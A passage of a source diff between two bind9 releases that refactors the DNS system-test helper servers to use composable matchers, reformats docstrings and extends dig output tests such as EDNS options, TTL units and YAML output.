See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/cookie/cookie_ans.py bind9-9.20.30/bin/tests/system/cookie/cookie_ans.py --- bind9-9.20.29/bin/tests/system/cookie/cookie_ans.py 2026-09-11 19:41:01.154322669 +0000 +++ bind9-9.20.30/bin/tests/system/cookie/cookie_ans.py 2026-10-12 13:12:08.051892300 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -21,10 +21,11 @@ from isctest.asyncserver import ( AsyncDnsServer, DnsProtocol, - DnsResponseSend, QueryContext, ResponseHandler, ) +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import LabelCount, LeftmostLabel, Protocol, Qtype from isctest.name import prepend_label from isctest.vars.algorithms import ALG_VARS @@ -91,8 +92,7 @@ class NsHandler(_SpoofableHandler): - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.NS and qctx.qname == _tld(qctx) + matcher = Qtype(dns.rdatatype.NS) & LabelCount(2) async def get_responses( self, qctx: QueryContext @@ -107,8 +107,7 @@ class GlueHandler(_SpoofableHandler): - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.A and qctx.qname == _ns_name(qctx) + matcher = Qtype(dns.rdatatype.A) & LabelCount(3) & LeftmostLabel(b"ns") async def get_responses( self, qctx: QueryContext @@ -122,8 +121,7 @@ class TcpAHandler(ResponseHandler): - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.A and qctx.protocol == DnsProtocol.TCP + matcher = Qtype(dns.rdatatype.A) & Protocol(DnsProtocol.TCP) async def get_responses( self, qctx: QueryContext @@ -135,12 +133,9 @@ class WithtsigUdpAHandler(ResponseHandler): - def match(self, qctx: QueryContext) -> bool: - return ( - qctx.qtype == dns.rdatatype.A - and qctx.protocol == DnsProtocol.UDP - and _first_label(qctx) == "withtsig" - ) + matcher = ( + Qtype(dns.rdatatype.A) & Protocol(DnsProtocol.UDP) & LeftmostLabel(b"withtsig") + ) async def get_responses( self, qctx: QueryContext @@ -157,8 +152,7 @@ class UdpAHandler(ResponseHandler): - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.A and qctx.protocol == DnsProtocol.UDP + matcher = Qtype(dns.rdatatype.A) & Protocol(DnsProtocol.UDP) async def get_responses( self, qctx: QueryContext diff -Nru bind9-9.20.29/bin/tests/system/cookie/tests_sh_cookie.py bind9-9.20.30/bin/tests/system/cookie/tests_sh_cookie.py --- bind9-9.20.29/bin/tests/system/cookie/tests_sh_cookie.py 2026-09-11 19:41:01.156322717 +0000 +++ bind9-9.20.30/bin/tests/system/cookie/tests_sh_cookie.py 2026-10-12 13:12:08.053892342 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -16,7 +16,6 @@ "dig.out.*", "named.run.*", "rndc.out.*", - "ans*/ans.run", "ans*/query.log", "ns1/named_dump.db*", "ns4/named.cookiealwaysvalid", diff -Nru bind9-9.20.29/bin/tests/system/cpu/tests_sh_cpu.py bind9-9.20.30/bin/tests/system/cpu/tests_sh_cpu.py --- bind9-9.20.29/bin/tests/system/cpu/tests_sh_cpu.py 2026-09-11 19:41:01.156322717 +0000 +++ bind9-9.20.30/bin/tests/system/cpu/tests_sh_cpu.py 2026-10-12 13:12:08.053892342 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/custom-test-driver bind9-9.20.30/bin/tests/system/custom-test-driver --- bind9-9.20.29/bin/tests/system/custom-test-driver 2026-09-11 19:41:01.156322717 +0000 +++ bind9-9.20.30/bin/tests/system/custom-test-driver 2026-10-12 13:12:08.053892342 +0000 @@ -146,7 +146,7 @@ fi # Run junit to trs converter script. -./convert_junit_to_trs.py $junit_file >$trs_file +"$PYTHON" ./convert_junit_to_trs.py $junit_file >$trs_file estatus=$? if test $enable_hard_errors = no && test $estatus -eq 99; then diff -Nru bind9-9.20.29/bin/tests/system/database/tests_database.py bind9-9.20.30/bin/tests/system/database/tests_database.py --- bind9-9.20.29/bin/tests/system/database/tests_database.py 2026-09-11 19:41:01.156322717 +0000 +++ bind9-9.20.30/bin/tests/system/database/tests_database.py 2026-10-12 13:12:08.053892342 +0000 @@ -3,13 +3,12 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. - import dns.rrset import isctest diff -Nru bind9-9.20.29/bin/tests/system/dialup/tests_dialup_zone_transfer.py bind9-9.20.30/bin/tests/system/dialup/tests_dialup_zone_transfer.py --- bind9-9.20.29/bin/tests/system/dialup/tests_dialup_zone_transfer.py 2026-09-11 19:41:01.157322742 +0000 +++ bind9-9.20.30/bin/tests/system/dialup/tests_dialup_zone_transfer.py 2026-10-12 13:12:08.054892364 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/digdelv/ans4/ans.py bind9-9.20.30/bin/tests/system/digdelv/ans4/ans.py --- bind9-9.20.29/bin/tests/system/digdelv/ans4/ans.py 2026-09-11 19:41:01.157322742 +0000 +++ bind9-9.20.30/bin/tests/system/digdelv/ans4/ans.py 2026-10-12 13:12:08.054892364 +0000 @@ -3,13 +3,14 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from isctest.asyncserver import AsyncDnsServer, IgnoreAllQueries +from isctest.asyncserver import AsyncDnsServer +from isctest.asyncserver.handlers import IgnoreAllQueries def main() -> None: diff -Nru bind9-9.20.29/bin/tests/system/digdelv/ans5/ans.py bind9-9.20.30/bin/tests/system/digdelv/ans5/ans.py --- bind9-9.20.29/bin/tests/system/digdelv/ans5/ans.py 2026-09-11 19:41:01.157322742 +0000 +++ bind9-9.20.30/bin/tests/system/digdelv/ans5/ans.py 2026-10-12 13:12:08.054892364 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -18,14 +18,12 @@ import dns.rrset from isctest.asyncserver import ( - CloseConnection, ControlCommand, ControllableAsyncDnsServer, - DnsResponseSend, QueryContext, - ResponseAction, ResponseHandler, ) +from isctest.asyncserver.actions import CloseConnection, DnsResponseSend class ErraticAxfrHandler(ResponseHandler): @@ -39,7 +37,7 @@ async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[CloseConnection | DnsResponseSend, None]: action = self.actions[self.counter % len(self.actions)] self.counter += 1 diff -Nru bind9-9.20.29/bin/tests/system/digdelv/ans6/ans.py bind9-9.20.30/bin/tests/system/digdelv/ans6/ans.py --- bind9-9.20.29/bin/tests/system/digdelv/ans6/ans.py 2026-09-11 19:41:01.157322742 +0000 +++ bind9-9.20.30/bin/tests/system/digdelv/ans6/ans.py 2026-10-12 13:12:08.055892385 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -14,12 +14,8 @@ import dns.opcode import dns.rcode -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - QueryContext, - ResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend class ReplyUpdateHandler(ResponseHandler): diff -Nru bind9-9.20.29/bin/tests/system/digdelv/ans7/ans.py bind9-9.20.30/bin/tests/system/digdelv/ans7/ans.py --- bind9-9.20.29/bin/tests/system/digdelv/ans7/ans.py 2026-09-11 19:41:01.158322766 +0000 +++ bind9-9.20.30/bin/tests/system/digdelv/ans7/ans.py 2026-10-12 13:12:08.055892385 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -13,44 +13,44 @@ import dns.rcode -from isctest.asyncserver import ( - AsyncDnsServer, - CloseConnection, - DnsResponseSend, - DomainHandler, - IgnoreAllQueries, - QueryContext, - ResponseAction, - ResponseDrop, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import CloseConnection, DnsResponseSend, ResponseDrop +from isctest.asyncserver.handlers import IgnoreAllQueries +from isctest.asyncserver.matchers import Domain -class SilentHandler(DomainHandler, IgnoreAllQueries): - """Handler that doesn't respond.""" +class SilentHandler(IgnoreAllQueries): + """ + Handler that doesn't respond. + """ - domains = ["silent.example"] + matcher = Domain("silent.example") -class CloseHandler(DomainHandler): - """Handler that doesn't respond and closes TCP connection.""" +class CloseHandler(ResponseHandler): + """ + Handler that doesn't respond and closes TCP connection. + """ - domains = ["close.example"] + matcher = Domain("close.example") async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[CloseConnection, None]: yield CloseConnection() -class SilentThenServfailHandler(DomainHandler): - """Handler that drops one query and response to the next one with SERVFAIL.""" +class SilentThenServfailHandler(ResponseHandler): + """ + Handler that drops one query and response to the next one with SERVFAIL. + """ - domains = ["silent-then-servfail.example"] + matcher = Domain("silent-then-servfail.example") counter = 0 async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend | ResponseDrop, None]: if self.counter % 2 == 0: yield ResponseDrop() else: diff -Nru bind9-9.20.29/bin/tests/system/digdelv/common.py bind9-9.20.30/bin/tests/system/digdelv/common.py --- bind9-9.20.29/bin/tests/system/digdelv/common.py 2026-09-11 19:41:01.158322766 +0000 +++ bind9-9.20.30/bin/tests/system/digdelv/common.py 2026-10-12 13:12:08.055892385 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -16,7 +16,6 @@ import yaml ARTIFACTS = [ - "ans*/ans.run", "ns*/anchor.*", "ns*/dsset-*", "ns*/keydata", @@ -30,15 +29,19 @@ def parse_yaml(text): - """Parse the tools' +yaml output.""" + """ + Parse the tools' +yaml output. + """ return yaml.safe_load(text) def check_ttl_range(text, rrtype, max_ttl): - """Check that a record of the given RR type and class IN (or its + """ + Check that a record of the given RR type and class IN (or its unknown-format spelling CLASS1) is present with a TTL not exceeding max_ttl. A leading ";" token is ignored so that delv's commented - records ("; name ttl class type ...") are checked too.""" + records ("; name ttl class type ...") are checked too. + """ for line in text.splitlines(): fields = line.split() if fields and fields[0] == ";": diff -Nru bind9-9.20.29/bin/tests/system/digdelv/conftest.py bind9-9.20.30/bin/tests/system/digdelv/conftest.py --- bind9-9.20.29/bin/tests/system/digdelv/conftest.py 2026-09-11 19:41:01.158322766 +0000 +++ bind9-9.20.30/bin/tests/system/digdelv/conftest.py 2026-10-12 13:12:08.055892385 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -29,7 +29,9 @@ @pytest.fixture(name="zsk") def zsk_fixture(): - """Key id and rdata of the ZSK generated for the example zone.""" + """ + Key id and rdata of the ZSK generated for the example zone. + """ with open("ns2/keyid", encoding="utf-8") as keyid_file: keyid = keyid_file.read().strip() with open("ns2/keydata", encoding="utf-8") as keydata_file: diff -Nru bind9-9.20.29/bin/tests/system/digdelv/tests_dig.py bind9-9.20.30/bin/tests/system/digdelv/tests_dig.py --- bind9-9.20.29/bin/tests/system/digdelv/tests_dig.py 2026-09-11 19:41:01.159322790 +0000 +++ bind9-9.20.30/bin/tests/system/digdelv/tests_dig.py 2026-10-12 13:12:08.056892407 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -38,14 +38,18 @@ def edns_yaml(text, direction="query"): - """Get the EDNS OPT pseudosection mapping of the first message in - dig +yaml output.""" + """ + Get the EDNS OPT pseudosection mapping of the first message in + dig +yaml output. + """ message = parse_yaml(text)[0]["message"] return message[f"{direction}_message_data"]["OPT_PSEUDOSECTION"]["EDNS"] def test_update_response(dig, ans6): - """Check that dig rejects a response with the UPDATE opcode.""" + """ + Check that dig rejects a response with the UPDATE opcode. + """ result = dig( f"@{ans6.ip} +tries=1 +timeout=1 cname foo.bar", raise_on_exception=False ) @@ -54,29 +58,37 @@ def test_short(dig, ns3): - """Check that dig +short returns a single-line answer.""" + """ + Check that dig +short returns a single-line answer. + """ result = dig(f"@{ns3.ip} +short a a.example") assert len(result.out.splitlines()) == 1 @pytest.mark.parametrize("option", ["+split=4", "+sp=4"]) def test_split_width(dig, ns3, option): - """Check that dig +split (and its +sp abbreviation) splits hex data - into fields of the requested width.""" + """ + Check that dig +split (and its +sp abbreviation) splits hex data + into fields of the requested width. + """ result = dig(f"@{ns3.ip} {option} -t sshfp foo.example") assert " 9ABC DEF6 7890 " in result.out assert check_ttl_range(result.out, "SSHFP", 300) def test_unknownformat(dig, ns3): - """Check that dig +unknownformat prints RFC 3597 format.""" + """ + Check that dig +unknownformat prints RFC 3597 format. + """ result = dig(f"@{ns3.ip} +unknownformat a a.example") assert Re(r"CLASS1\s+TYPE1\s+\\# 4 0A000001") in result.out assert check_ttl_range(result.out, "TYPE1", 300) def test_reverse_lookup(dig, ns3): - """Check that dig -x works.""" + """ + Check that dig -x works. + """ result = dig(f"@{ns3.ip} -x 127.0.0.1") # doesn't matter if has answer assert Re(r"127\.in-addr\.arpa\.", re.IGNORECASE) in result.out @@ -84,7 +96,9 @@ def test_tcp(dig, ns3): - """Check that dig over TCP works.""" + """ + Check that dig over TCP works. + """ result = dig(f"+tcp @{ns3.ip} a a.example") assert Re(r"10\.0\.0\.1$") in result.out assert check_ttl_range(result.out, "A", 300) @@ -99,8 +113,10 @@ ], ) def test_dnskey_rrcomments(dig, ns3, zsk, args, expect_rrcomment): - """Check that +[no]rrcomments controls the DNSKEY comment - (the default is rrcomments, even with +multi).""" + """ + Check that +[no]rrcomments controls the DNSKEY comment + (the default is rrcomments, even with +multi). + """ result = dig(f"+tcp @{ns3.ip} {args}") assert (zsk.rrcomment in result.out) == expect_rrcomment if "+short" not in args: @@ -108,27 +124,35 @@ def test_soa_norrcomments(dig, ns3): - """Check that +multi +norrcomments suppresses the SOA field comments.""" + """ + Check that +multi +norrcomments suppresses the SOA field comments. + """ result = dig(f"+tcp @{ns3.ip} +multi +norrcomments -t SOA example") assert "; serial" not in result.out assert check_ttl_range(result.out, "SOA", 300) def test_short_nosplit(dig, ns3, zsk): - """Check that dig +short +nosplit does not split the key data.""" + """ + Check that dig +short +nosplit does not split the key data. + """ result = dig(f"+tcp @{ns3.ip} +short +nosplit DNSKEY example") assert zsk.keydata.replace(" ", "") in result.out def test_short_rrcomments_line(dig, ns3, zsk): - """Check the exact dig +short +rrcomments output line.""" + """ + Check the exact dig +short +rrcomments output line. + """ result = dig(f"+tcp @{ns3.ip} +short +rrcomments DNSKEY example") expected = re.escape(f"{zsk.keydata} {zsk.rrcomment}") assert Re(expected + "$") in result.out def test_multi_flag_is_local(dig, ns3): - """Check that +[no]multi applies to a single lookup only.""" + """ + Check that +[no]multi applies to a single lookup only. + """ lines = {} for flags in [ ("nomulti", "nomulti"), @@ -147,7 +171,9 @@ def test_noheader_only(dig, ns3): - """Check that dig +noheader-only sends a full query.""" + """ + Check that dig +noheader-only sends a full query. + """ result = dig(f"+tcp @{ns3.ip} +noheader-only A example") assert "Got answer:" in result.out assert check_ttl_range(result.out, "SOA", 300) @@ -161,7 +187,9 @@ ], ) def test_header_only(dig, ns3, class_type): - """Check that dig +header-only sends a query without a question.""" + """ + Check that dig +header-only sends a query without a question. + """ result = dig(f"+tcp @{ns3.ip} +header-only {class_type} example") assert Re(r"^;; flags: qr rd; QUERY: 0, ANSWER: 0,") in result.out assert Re(r"^;; QUESTION SECTION:") not in result.out @@ -178,7 +206,9 @@ ], ) def test_ttl_units(dig, ns2, qname, ttl): - """Check that dig +ttlunits prints TTLs in time units.""" + """ + Check that dig +ttlunits prints TTLs in time units. + """ result = dig(f"+tcp @{ns2.ip} +ttlunits A {qname}.example") assert Re(rf"^{qname}\.example\.\s+{ttl}\s") in result.out @@ -192,19 +222,25 @@ ], ) def test_ttl_units_precedence(dig, ns2, options, field): - """Check that the last of the +ttlid/+ttlunits options wins.""" + """ + Check that the last of the +ttlid/+ttlunits options wins. + """ result = dig(f"+tcp @{ns2.ip} {options} A weeks.example") assert Re(rf"^weeks\.example\.\s+{re.escape(field)}\s") in result.out def test_class_chaos(dig, ns3): - """Check that dig -c CHAOS works.""" + """ + Check that dig -c CHAOS works. + """ result = dig(f"@{ns3.ip} -c CHAOS -t txt version.bind") assert "version.bind.\t\t0\tCH\tTXT" in result.out def test_bad_escape(dig, ns3): - """Check that dig gracefully rejects a bad escape in the domain name.""" + """ + Check that dig gracefully rejects a bad escape in the domain name. + """ result = dig(rf"@{ns3.ip} \0.", raise_on_exception=False) assert result.rc == 10 assert "REQUIRE" not in result.err @@ -212,8 +248,10 @@ def test_q_m(dig, ns3): - """Check that -q -m treats -m as a query name, not as the memory - debugging flag.""" + """ + Check that -q -m treats -m as a query name, not as the memory + debugging flag. + """ result = dig(f"@{ns3.ip} -q -m", raise_on_exception=False) assert Re(r"^;-m\..*IN.*A$") in result.out assert "Dump of all outstanding memory allocations" not in result.out @@ -239,21 +277,27 @@ ], ) def test_expandaaaa(dig, ns3, options, pattern): - """Check that +[no]expandaaaa controls AAAA address formatting - (the default is +noexpandaaaa).""" + """ + Check that +[no]expandaaaa controls AAAA address formatting + (the default is +noexpandaaaa). + """ result = dig(f"@{ns3.ip} {options} AAAA ns2.example") assert Re(pattern) in result.out def test_bufsize_zero(dig, ns3): - """Check that +bufsize=0 just sets the advertised buffer size to 0 - instead of disabling EDNS.""" + """ + Check that +bufsize=0 just sets the advertised buffer size to 0 + instead of disabling EDNS. + """ result = dig(f"@{ns3.ip} a.example +bufsize=0 +qr") assert "EDNS:" in result.out def test_bufsize_restores_default(dig, ns3): - """Check that a later +bufsize restores the default buffer size.""" + """ + Check that a later +bufsize restores the default buffer size. + """ result = dig(f"@{ns3.ip} a.example +bufsize=0 +bufsize +qr") assert len(result.out.grep(Re(r"EDNS:.* udp:"))) == 2 assert len(result.out.grep(Re(r"EDNS:.* udp: 1232"))) == 2 @@ -267,8 +311,10 @@ ], ) def test_query_time_units(dig, ns3, options, unit): - """Check that Query time is in milliseconds, or in microseconds - with -u.""" + """ + Check that Query time is in milliseconds, or in microseconds + with -u. + """ result = dig(f"{options} @{ns3.ip} a.example") assert Re(rf";; Query time: \d+ {unit}") in result.out @@ -281,8 +327,10 @@ ], ) def test_yaml_timestamp_precision(dig, ns3, options, digits): - """Check that +yaml timestamps have millisecond precision, or - microsecond precision with -u.""" + """ + Check that +yaml timestamps have millisecond precision, or + microsecond precision with -u. + """ result = dig(f"{options} @{ns3.ip} a.example") for field in ("query_time", "response_time"): pattern = ( @@ -292,13 +340,17 @@ def test_local_reserved_warning(dig, ns3): - """Check that dig warns about .local queries.""" + """ + Check that dig warns about .local queries. + """ result = dig(f"@{ns3.ip} local soa") assert ";; WARNING: .local is reserved for Multicast DNS" in result.out def test_nocrypto(dig, ns1): - """Check that +nocrypto omits the key and signature data.""" + """ + Check that +nocrypto omits the key and signature data. + """ alg_num = os.environ["DEFAULT_ALGORITHM_NUMBER"] result = dig(f"+dnssec +norec +nocrypto DNSKEY . @{ns1.ip}") assert Re(rf"256 \d+ {alg_num} \[key id = [1-9]\d*]") in result.out @@ -308,14 +360,18 @@ def test_coflag(dig, ns3): - """Check that dig +coflag sets the EDNS CO flag in the sent query.""" + """ + Check that dig +coflag sets the EDNS CO flag in the sent query. + """ result = dig(f"+tcp @{ns3.ip} +coflag +qr example") assert Re(r"^; EDNS: version: 0, flags: co;") in result.out assert check_ttl_range(result.out, "SOA", 300) def test_coflag_yaml(dig, ns3): - """Check that dig +coflag +yaml shows the CO flag in the sent query.""" + """ + Check that dig +coflag +yaml shows the CO flag in the sent query. + """ result = dig(f"+yaml +tcp @{ns3.ip} +coflag +qr example") assert edns_yaml(result.out)["flags"] == "co" @@ -328,8 +384,10 @@ ], ) def test_header_flag_options(dig, ns3, option, sent_flags): - """Check that +raflag/+tcflag set the flag in the sent query and that - the response is unaffected.""" + """ + Check that +raflag/+tcflag set the flag in the sent query and that + the response is unaffected. + """ result = dig(f"+tcp @{ns3.ip} {option} +qr example") assert Re(rf"^;; flags: {sent_flags}; QUERY: 1, ANSWER: 0") in result.out assert Re(r"^;; flags: qr rd ra; QUERY: 1, ANSWER: 0,") in result.out @@ -337,7 +395,9 @@ def test_zflag(dig, ns3): - """Check that dig +zflag sets the MBZ bit and that named ignores it.""" + """ + Check that dig +zflag sets the MBZ bit and that named ignores it. + """ result = dig(f"+tcp @{ns3.ip} +zflag +qr A example") assert Re(r"^;; flags: rd ad; MBZ: 0x4;") in result.out assert Re(r"^;; flags: qr rd ra; QUERY: 1") in result.out @@ -345,7 +405,9 @@ def test_ednsopt_08_no_insist(dig, ns3): - """Check that +qr +ednsopt=08 does not cause an INSIST failure.""" + """ + Check that +qr +ednsopt=08 does not cause an INSIST failure. + """ result = dig(f"@{ns3.ip} +ednsopt=08 +qr a a.example") assert "INSIST" not in result.out assert "FORMERR" in result.out @@ -359,35 +421,45 @@ ], ) def test_ednsopt_nsid(dig, ns3, option): - """Check that +ednsopt accepts an option number as well as a name.""" + """ + Check that +ednsopt accepts an option number as well as a name. + """ result = dig(f"@{ns3.ip} +ednsopt={option} a.example") assert Re(r'NSID: .* \("ns3"\)') in result.out assert check_ttl_range(result.out, "A", 300) def test_ednsopt_update_lease(dig, ns3): - """Check that a single-lease UPDATE-LEASE option prints as expected.""" + """ + Check that a single-lease UPDATE-LEASE option prints as expected. + """ result = dig(f"@{ns3.ip} +ednsopt=UPDATE-LEASE:00000e10 +qr a.example") assert "UPDATE-LEASE: 3600 (1 hour)" in result.out def test_ednsopt_update_lease_yaml(dig, ns3): - """Check that a single-lease UPDATE-LEASE option prints as expected - with +yaml.""" + """ + Check that a single-lease UPDATE-LEASE option prints as expected + with +yaml. + """ result = dig(f"@{ns3.ip} +yaml +ednsopt=UPDATE-LEASE:00000e10 +qr a.example") assert edns_yaml(result.out)["UPDATE-LEASE"]["LEASE"] == 3600 assert "LEASE: 3600 # 1 hour" in result.out def test_ednsopt_update_lease_split(dig, ns3): - """Check that a split-lease UPDATE-LEASE option prints as expected.""" + """ + Check that a split-lease UPDATE-LEASE option prints as expected. + """ result = dig(f"@{ns3.ip} +ednsopt=UPDATE-LEASE:00000e1000127500 +qr a.example") assert "UPDATE-LEASE: 3600/1209600 (1 hour/2 weeks)" in result.out def test_ednsopt_update_lease_split_yaml(dig, ns3): - """Check that a split-lease UPDATE-LEASE option prints as expected - with +yaml.""" + """ + Check that a split-lease UPDATE-LEASE option prints as expected + with +yaml. + """ result = dig( f"@{ns3.ip} +yaml +ednsopt=UPDATE-LEASE:00000e1000127500 +qr a.example" ) @@ -399,7 +471,9 @@ def test_ednsopt_llq(dig, ns3): - """Check that the LLQ option prints as expected.""" + """ + Check that the LLQ option prints as expected. + """ result = dig( f"@{ns3.ip} +ednsopt=llq:0001000200001234567812345678fefefefe +qr a.example" ) @@ -411,7 +485,9 @@ def test_ednsopt_llq_yaml(dig, ns3): - """Check that the LLQ option prints as expected with +yaml.""" + """ + Check that the LLQ option prints as expected with +yaml. + """ result = dig( f"@{ns3.ip} +yaml +ednsopt=llq:0001000200001234567812345678fefefefe " "+qr a.example" @@ -425,14 +501,18 @@ def test_ednsopt_key_tag_empty(dig, ns3): - """Check that an empty key-tag option is sent and FORMERR is returned.""" + """ + Check that an empty key-tag option is sent and FORMERR is returned. + """ result = dig(f"@{ns3.ip} +ednsopt=key-tag a.example +qr") assert Re(r"; KEY-TAG: *$") in result.out assert "status: FORMERR" in result.out def test_ednsopt_key_tag(dig, ns3): - """Check that a key-tag value list is sent and accepted.""" + """ + Check that a key-tag value list is sent and accepted. + """ result = dig(f"@{ns3.ip} +ednsopt=key-tag:00010002 a.example +qr") assert Re(r"; KEY-TAG: 1, 2$") in result.out assert "status: FORMERR" not in result.out @@ -440,14 +520,18 @@ def test_ednsopt_key_tag_yaml(dig, ns3): - """Check that a key-tag value list prints as a list with +yaml.""" + """ + Check that a key-tag value list prints as a list with +yaml. + """ result = dig(f"@{ns3.ip} +yaml +ednsopt=key-tag:00010002 a.example +qr") assert edns_yaml(result.out)["KEY-TAG"] == [1, 2] def test_ednsopt_key_tag_malformed(dig, ns3): - """Check that a malformed key-tag value list is sent as raw data and - FORMERR is returned.""" + """ + Check that a malformed key-tag value list is sent as raw data and + FORMERR is returned. + """ result = dig(f"@{ns3.ip} +ednsopt=key-tag:0001000201 a.example +qr") assert "; KEY-TAG: 00 01 00 02 01" in result.out assert "status: FORMERR" in result.out @@ -455,7 +539,9 @@ @pytest.mark.parametrize("tag", ["client-tag", "server-tag"]) def test_ednsopt_tag(dig, ns3, tag): - """Check that a valid client/server-tag value is sent and accepted.""" + """ + Check that a valid client/server-tag value is sent and accepted. + """ result = dig(f"@{ns3.ip} +ednsopt={tag}:0001 a.example +qr") assert Re(rf"; {tag.upper()}: 1$") in result.out assert "status: FORMERR" not in result.out @@ -463,7 +549,9 @@ @pytest.mark.parametrize("tag", ["client-tag", "server-tag"]) def test_ednsopt_tag_yaml(dig, ns3, tag): - """Check that a client/server-tag value prints as expected with +yaml.""" + """ + Check that a client/server-tag value prints as expected with +yaml. + """ result = dig(f"@{ns3.ip} +yaml +ednsopt={tag}:0001 a.example +qr") assert edns_yaml(result.out)[tag.upper()] == 1 @@ -477,47 +565,61 @@ ) @pytest.mark.parametrize("tag", ["client-tag", "server-tag"]) def test_ednsopt_tag_bad_length(dig, ns3, tag, value): - """Check that FORMERR is returned for a client/server-tag value of the - wrong length.""" + """ + Check that FORMERR is returned for a client/server-tag value of the + wrong length. + """ result = dig(f"@{ns3.ip} +ednsopt={tag}:{value} a.example +qr") assert f"; {tag.upper()}" in result.out assert "status: FORMERR" in result.out def test_ednsopt_chain(dig, ns3): - """Check that the CHAIN option prints special characters escaped.""" + """ + Check that the CHAIN option prints special characters escaped. + """ result = dig(rf'@{ns3.ip} +ednsopt=chain:02002200 a.\000" +qr') assert r'; CHAIN: "\000\""' in result.out def test_ednsopt_chain_yaml(dig, ns3): - """Check that the CHAIN option prints special characters escaped - with +yaml.""" + """ + Check that the CHAIN option prints special characters escaped + with +yaml. + """ result = dig(rf'@{ns3.ip} +yaml +ednsopt=chain:02002200 a.\000" +qr') assert edns_yaml(result.out)["CHAIN"] == r"\000\"" def test_expire(dig, ns1): - """Check that dig processes +expire.""" + """ + Check that dig processes +expire. + """ result = dig(f"@{ns1.ip} +expire . soa") assert "; EXPIRE: 1200 (20 minutes)" in result.out def test_expire_yaml(dig, ns1): - """Check that dig processes +expire with +yaml.""" + """ + Check that dig processes +expire with +yaml. + """ result = dig(f"@{ns1.ip} +yaml +expire . soa") assert 